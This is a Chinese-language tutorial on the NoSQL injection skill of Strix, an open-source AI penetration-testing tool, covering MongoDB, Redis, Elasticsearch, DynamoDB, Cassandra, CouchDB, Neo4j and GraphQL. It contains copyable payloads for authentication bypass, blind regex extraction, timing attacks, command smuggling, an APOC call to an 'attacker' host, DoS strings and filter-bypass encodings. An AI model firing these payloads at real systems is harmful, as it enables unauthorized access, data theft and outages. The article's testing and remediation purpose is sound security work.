Strix NoSQL 注入检测技能深度解析:从 MongoDB 操作符注入到多数据库盲注实战
【免费下载链接】strixOpen-source AI penetration testing tool to find and fix your app’s vulnerabilities.项目地址: https://gitcode.com/GitHub_Trending/strix/strix
NoSQL 注入测试是 Strix 开放安全技能体系中覆盖最广的注入类主题之一。本文以仓库内置技能 strix/skills/vulnerabilities/nosql_injection.md 为骨架,结合 strix/skills/init.py 的技能加载机制与 strix/skills/analysis/counterevidence.md 的取证纪律,系统讲解 MongoDB 操作符注入、认证绕过、$regex盲注、$where服务端 JavaScript 注入、Redis/DynamoDB/Cassandra/CouchDB/Neo4j 各自独立注入面,以及 GraphQL 变量注入链路。读完本文,你将掌握一套可直接落地的 NoSQL 注入测试方法论、可复制的攻击载荷库,以及如何在 Strix 沙箱中做最小化验证并规避误报。
一、这份技能在 Strix 中如何生效
Strix 的技能(Skill)是带 YAML frontmatter 的 Markdown 知识包,nosql-injection就是其中之一。其 frontmatter 声明了name: nosql-injection与一段供调度器检索的description(覆盖 MongoDB 操作符注入、认证绕过、盲注提取、GraphQL 变量注入及 Redis/DynamoDB/Elasticsearch/Neo4j 攻击面)。
技能的注入方式在 docs/advanced/skills.mdx 中有明确说明:Strix 为一个具体任务派生子 Agent 时,会按上下文挑选最多 5 个相关技能:
create_agent( task="Test authentication mechanisms", skills=["authentication_jwt", "business_logic"] )技能正文会被解析并拼入 Agent 的系统提示。底层解析逻辑位于 strix/skills/init.py:_parse_skill_content通过正则_FRONTMATTER_PATTERN剥离 YAML frontmatter,只保留 Markdown 正文;validate_requested_skills限制单 Agent 技能数并校验技能名存在性;load_skills从strix/skills/<category>/<name>.md逐技能读取正文(见 strix/skills/init.py)。除预加载外,Agent 还可以在会话中途通过 strix/tools/load_skill/tool.py 暴露的load_skill工具临时拉取技能正文作为参考。因此,阅读本文时你应当理解:文档里的每一条载荷与每一步方法学,最终都会被当作"专家注入"来指导 Strix Agent 对真实目标发起测试。
技能文件本体可按分类树检索:strix/skills/vulnerabilities/目录下与 NoSQL 相关的配套技能还包括sql_injection、authentication_jwt、prototype_pollution、mass_assignment等,分类说明见 strix/skills/README.md。
二、理解攻击本质:操作符注入与结构注入
NoSQL 注入利用的是应用把用户输入交给数据库查询执行时产生的语义错位:数据库引擎对"查询条件"的解释方式与应用预期不一致。与 SQL 注入靠"语法破坏"不同,NoSQL 注入最常见的是两种形态:
- 操作符注入(Operator Injection):输入直接命中 MongoDB 的
$gt、$ne、$regex、$where等查询操作符; - 结构注入(Structure Injection):输入本身是 JSON 子文档,被整体嵌入查询对象后改变查询语义。
这也决定了攻击面分布:MongoDB 是绝对主战场,但 Redis、Elasticsearch、DynamoDB、Cassandra、CouchDB、Neo4j 各有其独特的注入面。此外,GraphQL resolver 把变量原样透传给底层 NoSQL filter,是跨切面的高频脆弱点。这份认知是后续所有测试动作的前提——先判断"输入最终流向什么查询结构",再选择对应的载荷家族。
三、攻击面与高价值目标定位
3.1 会到达查询过滤器的输入形态
- JSON body 参数:被解析后直接构造为查询对象(最常见);
- 表单字段的花括号下标记法:
field[$ne]=会被 Expressbody-parser、PHP 等中间件强转成操作符对象{field: {$ne: ...}}; - URL 编码 JSON:藏在 query string、Header、Cookie 中;
- GraphQL 变量:被 resolver 直接透传给底层 NoSQL filter。
3.2 使注入成为可能的代码模式
技能明确列出了四类高风险写法,这也是白盒审计时的"找漏洞"清单:
- 将用户输入构造出的原始 filter dict/对象直接交给
find/findOne/aggregate; - 用字符串拼接拼出 Cypher / CQL / Redis 命令,而不是使用驱动提供的参数化形式;
- ODM 直通(passthrough):Mongoose
{strict: false}、Morphia 原始where()、PyMongo 以未净化的 JSON dict 调用find()(注意:legacyeval()直接致命); - 服务端 JavaScript 面:MongoDB 的
$where、$function、$accumulator,以及 CouchDB_design视图。
3.3 范围内的存储引擎
主目标 MongoDB,此外覆盖 Redis、Elasticsearch、DynamoDB、Cassandra、CouchDB、Neo4j。技能同时提示:Couchbase / DocumentDB / HBase / ScyllaDB / Memcached 遵循同一套操作符注入或命令走私模型——尤其是 DocumentDB,它原样接受 MongoDB 载荷。
3.4 高价值目标端点
- 登录与认证端点(username/password 字段);
- 搜索与过滤 API(商品目录、用户搜索、后台查询);
- 密码重置、token 查询流程;
- 按 role、plan、privilege 字段过滤的管理查询;
- 接受原始 JSON 对象作为查询参数的端点。
四、侦察阶段:确认后端、输入形态与操作符是否透传
4.1 Content-Type 与输入形态判定
- 找到接受
application/json的端点——它们可以直接接收操作符对象; - 找到接受
application/x-www-form-urlencoded的端点——username[$ne]=x在许多框架(Expressbody-parser、PHP)中会被映射为{username: {$ne: 'x'}}; - 判断后端使用的技术栈:Mongoose、原生 MongoDB 驱动,还是 REST ODM 封装层。
4.2 错误指纹
用畸形输入探测后端,观察错误信息中暴露的堆栈与库名:
{"username": {"$gt": ""}}username[$gt]=关注三类特征串:MongoError、CastError、ValidationError。堆栈中泄露的 collection 名、字段名、驱动版本都是后续构造载荷的情报。
4.3 操作符探测
判断操作符是否真正透传到数据库(而非被框架拦截):
{"username": {"$gt": ""}, "password": {"$gt": ""}}若登录成功或响应与正常请求存在可观察差异,则确认存在操作符注入——这是后续一切 MongoDB 载荷的"准入证"。
五、MongoDB 核心漏洞矩阵
5.1 经典认证绕过
针对形如db.users.findOne({username: input.username, password: input.password})的登录查询:
JSON body 注入——匹配第一个 username 与 password 均非 null 的文档,通常是首位用户或管理员:
{"username": {"$ne": null}, "password": {"$ne": null}}表单 body(花括号记法):
username[$ne]=invalid&password[$ne]=invalid变体——分别利用$gt、$regex、$in扩大匹配范围:
{"username": "admin", "password": {"$gt": ""}} {"username": {"$regex": ".*"}, "password": {"$gt": ""}} {"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}5.2$regex盲注提取
当查询结果不直接回显、但存在可观察信号(布尔响应、跳转、时间差)时,可用$regex逐字符提取任意字符串字段:
{"username": "admin", "password": {"$regex": "^a"}} {"username": "admin", "password": {"$regex": "^b"}} ...关键优化是二分搜索字符空间:配合排序后的候选字符集,每字符仅需约 7 次请求(对比线性逐字符的 94 次),见文档 Pro Tips 第 6 条。该方法对任何字符串字段通用——token、重置码、API Key 都适用,不必局限于密码字段。
5.3$whereJavaScript 注入
MongoDB 7.0+ 默认禁用$where;4.4–6.x 虽已将其标记废弃,但javascriptEnabled默认仍为true,因此未显式加固的目标依然可利用。载荷分两类:
{"$where": "function(){return this.role == 'admin'}"} // 直接过滤——返回匹配文档 {"$where": "function(){return this.username == 'admin' && sleep(2000)}"} // 仅作时间盲注信号第二类载荷要特别注意:sleep()返回undefined(falsy),因此不会返回任何文档,只能通过响应时延差来做盲注判读。旧版本 MongoDB 中sleep()可用作时间差提取。
5.4$function与$accumulator(MongoDB 4.4+)
聚合管线中的服务端 JS。$function必须位于表达式上下文($expr、$project、$addFields等),不能作为顶层 filter:
{"$expr": {"$function": {"body": "function(doc){return doc.role == 'admin'}", "args": ["$$ROOT"], "lang": "js"}}}它受与$where相同的javascriptEnabled参数约束,但可从聚合端点触达。当$where在查询层被拦截过滤而聚合管线仍可被用户影响时,它是有效的备用通道。
5.5 聚合管线注入
$match、$lookup、$project阶段接受与find()相同的操作符载荷。其中用户可控的$lookup.from影响最大:它能把查询转向另一个集合(例如从orders转向users),实现跨租户数据外泄。
5.6 SSJS 状态指纹
在投入$where/$function载荷前,先确认服务端 JS 状态:
db.adminCommand({getParameter: 1, javascriptEnabled: 1})配合版本判定(错误信息或/admin/serverStatus)可判断时间盲注是否可行——4.4–6.x 目标javascriptEnabled已废弃但未默认关闭,只要未显式加固即可利用。
六、非 MongoDB 存储的独立注入面
6.1 Redis 命令注入(RESP 协议走私)
当 Redis 命令由字符串拼接而成时:
redis.execute_command(f"SET {user_key} {value}")注入换行符\r\n追加额外命令:
key\r\nSET backdoor attacker_controlled\r\nSET dummy本质是 RESP 多命令走私:换行符结束了原命令,后续文本被解析为新命令。
6.2 Elasticsearch Query String 与 Painless 注入
query_string与simple_query_string接受 Lucene 语法。用户输入直接流入时:
q=normal+search → 正常结果 q=* → 全文档 q=role:admin → 按字段过滤 q=_exists_:password_hash → 存在性探测Painless 脚本注入通过_update的script.source发生:
{"script": {"source": "ctx._source.role = params.r", "params": {"r": "admin"}}}若source字段由用户控制,即可注入任意 Painless。技能 Pro Tips 提示:尝试脚本注入前,先跑_cat/indices、_mapping与query_string: *的_search摸清索引与字段。
6.3 DynamoDB PartiQL 注入
PartiQL 注入通过扩展预期查询实现越权读取:
-- 预期: SELECT * FROM Users WHERE username = 'input' -- 注入后: SELECT * FROM Users WHERE username = 'x' OR '1'='16.4 Cassandra CQL 注入
CQL 语法形似 SQL,因此当输入走字符串拼接而非session.prepare()绑定参数时,注入模式与 SQL 一致。注意 Cassandra 无内置SLEEP与 OOB 原语,检测只能基于布尔/错误差异:
username: ' OR '1'='1' ALLOW FILTERING -- username: 'x' OR token(username) > token('a') ALLOW FILTERING --第二条利用token(username)做分区范围枚举,ALLOW FILTERING用于强制全表扫描。
6.5 CouchDB Mango 选择器与视图注入
Mango selector(_find端点)接受与 MongoDB 同构的操作符载荷:
POST /db/_find { "selector": {"username": "admin", "password": {"$gt": ""}} } POST /db/_find { "selector": {"role": {"$regex": "^admin"}} }更危险的是_design文档注入:若用户输入流入 design doc 的views.<name>.map字段,该 JS 会在 Couch 沙箱中以服务端身份在每次视图查询时执行:
{"views": {"x": {"map": "function(doc){ emit(doc._id, doc) }"}}}正式载荷之前还应探测_all_docs?include_docs=true做无范围枚举,并检查 admin-party 错误配置(_users/_all_docs无认证可达)。
6.6 Neo4j Cypher 注入与 APOC 滥用
当用户输入被拼接进 Cypher 而非通过$param参数化时:
# 脆弱写法 session.run(f"MATCH (u:User {{name: '{name}'}}) RETURN u") # 注入后:name = x'}) RETURN u UNION MATCH (u:User) RETURN u //注释符//截断尾部的查询骨架,UNION扩大返回范围。当apoc.*过程通过dbms.security.procedures.unrestricted放开时,可滥用 APOC 实现高影响操作:
CALL apoc.load.json('http://attacker/x')—— SSRF 与外部数据拉取;CALL apoc.cypher.run("...", {})—— 从字符串动态执行查询;CALL dbms.security.listUsers()—— 错误配置的 Community Edition 上做用户枚举。
七、GraphQL 变量注入链路
GraphQL 是技能反复强调的"未充分开发"入口(Pro Tips 第 7 条)。典型场景是 resolver 将变量直接透传给底层 NoSQL filter:
query Login($input: UserFilter!) { user(filter: $input) { id role } }当$input直达db.users.findOne(input)时,提交操作符对象即可绕过认证:
{"input": {"username": "admin", "password": {"$ne": ""}}}测试要点:先用 introspection(__schema、__type)枚举哪些输入类型接受任意对象——这些就是操作符注入候选点。这也是仓库中 strix/skills/protocols/graphql.md 技能所覆盖主题的交叉区域,两者常需配合使用。
八、服务端 JS 的 DoS 攻击面
仅限显式授权范围内使用。技能列出的 DoS 面包括:
- ReDoS:
{"field": {"$regex": "^(a+)+$"}}针对长值触发灾难性回溯; - 超大
$in数组:数千个值迫使无索引字段走线性扫描; - 无限
$where循环:{"$where": "while(true){}"}(需 SSJS 开启且无查询超时); - 重型聚合:跨大集合链式
$lookup。
九、绕过技术库(WAF 与过滤器对抗)
技能把绕过手段归为四类,便于在"基础载荷被拦截"时系统化替换:
类型强制(Type Coercion)
- 操作符以数组形式提交:
{"$gt": [""]}——部分驱动会对数组做强制转换; - 同请求内混用字符串与对象类型,触发解析器不同分支。
编码(Encoding)
- URL 编码括号:
username%5B%24ne%5D=x→username[$ne]=x; - 面向 JSON 解析后端的 WAF 可尝试双重编码。
操作符替身(Operator Alternatives)
$nin、$exists: false、$type——$ne被过滤时达成同样效果;$not包裹其他操作符:{"field": {"$not": {"$eq": "value"}}};$expr组合$ne:{"$expr": {"$ne": ["$password", "wrong"]}}。
结构操纵(Structure Manipulation)
- 点号键 vs 嵌套对象:
{"a.b": "c"}与{"a": {"b": "c"}}——净化器往往只拦一种形态; - 数组 vs 对象包裹操作符:部分解析器把
["$or", ...]当作操作符数组处理; - 原型污染:JSON body 中的
__proto__与constructor.prototype键污染下游查询构建器消费的 Object 原型(与 strix/skills/vulnerabilities/prototype_pollution.md 技能主题直接相关); $regex大小写不敏感标志"$options": "i"可扩大大小写敏感过滤器遗漏的匹配面。
十、测试方法学:十步闭环
技能给出的方法论可作为自动化 Agent 的决策骨架:
- 定位查询接收端点——登录、搜索、过滤、查询回显;
- 确定输入格式——JSON body / 表单字段 / URL 参数;
- 发送错误探测载荷——畸形操作符对象,观察 MongoDB/驱动错误;
- 尝试操作符注入——对登录端点打
$ne、$gt、$regex; - 确认布尔信号——true/false 谓词导致响应、状态码、跳转出现差异;
- 盲注提取——对敏感字段(token、重置码)逐字符
$regex; - 测试
$where——识别旧版 MongoDB 后尝试基于sleep()的时间盲注; - 探测聚合端点——向
filter/match/sort字段注入操作符; - 测试非 MongoDB 存储——ES
query_string、Redis 命令构造、DynamoDB PartiQL、CouchDB Mango、Neo4j Cypher 拼接、Cassandra CQL; - 测试 GraphQL resolver——对一切到达 NoSQL filter 的输入类型提交操作符对象,并用
__schemaintrospection 枚举候选。
十一、验证标准与误报规避
11.1 可上报的验证清单
技能要求以下至少一条被满足才构成有效发现:
- 演示认证绕过:提交操作符载荷,确认能以任意/首个账户登录成功;
- 通过
$regex盲注提取出可验证的秘密(密码哈希、重置 token、API Key); - 至少两个不同操作符载荷均生效,排除偶然性;
- 提供前后对照:正常请求返回 401,注入请求返回 200;
- 对
$where:展示有无sleep()的时延差。
11.2 典型的误报来源
- 框架级查询构建器在构造查询前把输入强制转字符串(Mongoose
strict模式开启); - 输入净化在到达驱动前剥除操作符键;
- 端点接受 JSON 但把
password字段强转字符串——操作符对象变成[object Object]; - 响应差异来自校验错误而非真实操作符执行。
这一步与 Strix 的取证纪律技能 strix/skills/analysis/counterevidence.md 高度一致:技能要求所有候选闭合为confirmed/ruled_out/open_proof_gap三种状态之一,confirmed必须有工作 PoC 才可上报;"框架一般会转义""ORM 会处理"这类泛化信任不能作为反证,必须确认特定调用点、特定参数与特定路径上的控制是否真的存在。NoSQL 操作符注入测试尤其容易把"响应差异来自校验错误"误判为漏洞,因此遵循该纪律能显著降低误报。
十二、影响评估与修复建议
影响面(技能 Impact 章节):
- 认证绕过,获得任意或全部账户访问权;
- 通过盲注 regex 枚举完整提取敏感字段(token、哈希密码、PII);
- 直接查询 admin/superuser 记录实现提权;
- 借助放大的
$ne/$regex/$gt过滤器大规模数据外泄; - 在未打补丁的 MongoDB 实例上通过
$where执行服务端 JavaScript。
修复方向(技能 Summary 章节):NoSQL 注入与 SQL 注入同根同源——用户输入控制了查询结构,区别仅在于是"操作符嵌入"而非"语法破坏"。MongoDB 是首要加固目标:启用 schema validation、使用参数化等价物(严格模式、类型化 schema),绝不要将原始用户输入作为查询对象直接传递。白盒视角下,可对照本文 3.2 的四种高风险代码模式逐项排查调用点。
十三、仓库内的延伸阅读
- 技能本体:strix/skills/vulnerabilities/nosql_injection.md
- 同目录注入家族:sql_injection.md、prototype_pollution.md、mass_assignment.md
- 配套认证类:authentication_jwt.md
- GraphQL 交叉入口:strix/skills/protocols/graphql.md
- 技能机制与目录: strix/skills/README.md、docs/advanced/skills.mdx
- 技能加载实现与单测:strix/skills/init.py、strix/tools/load_skill/tool.py、tests/test_skill_dir_extension.py
- 发现闭合纪律:strix/skills/analysis/counterevidence.md
【免费下载链接】strixOpen-source AI penetration testing tool to find and fix your app’s vulnerabilities.项目地址: https://gitcode.com/GitHub_Trending/strix/strix
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考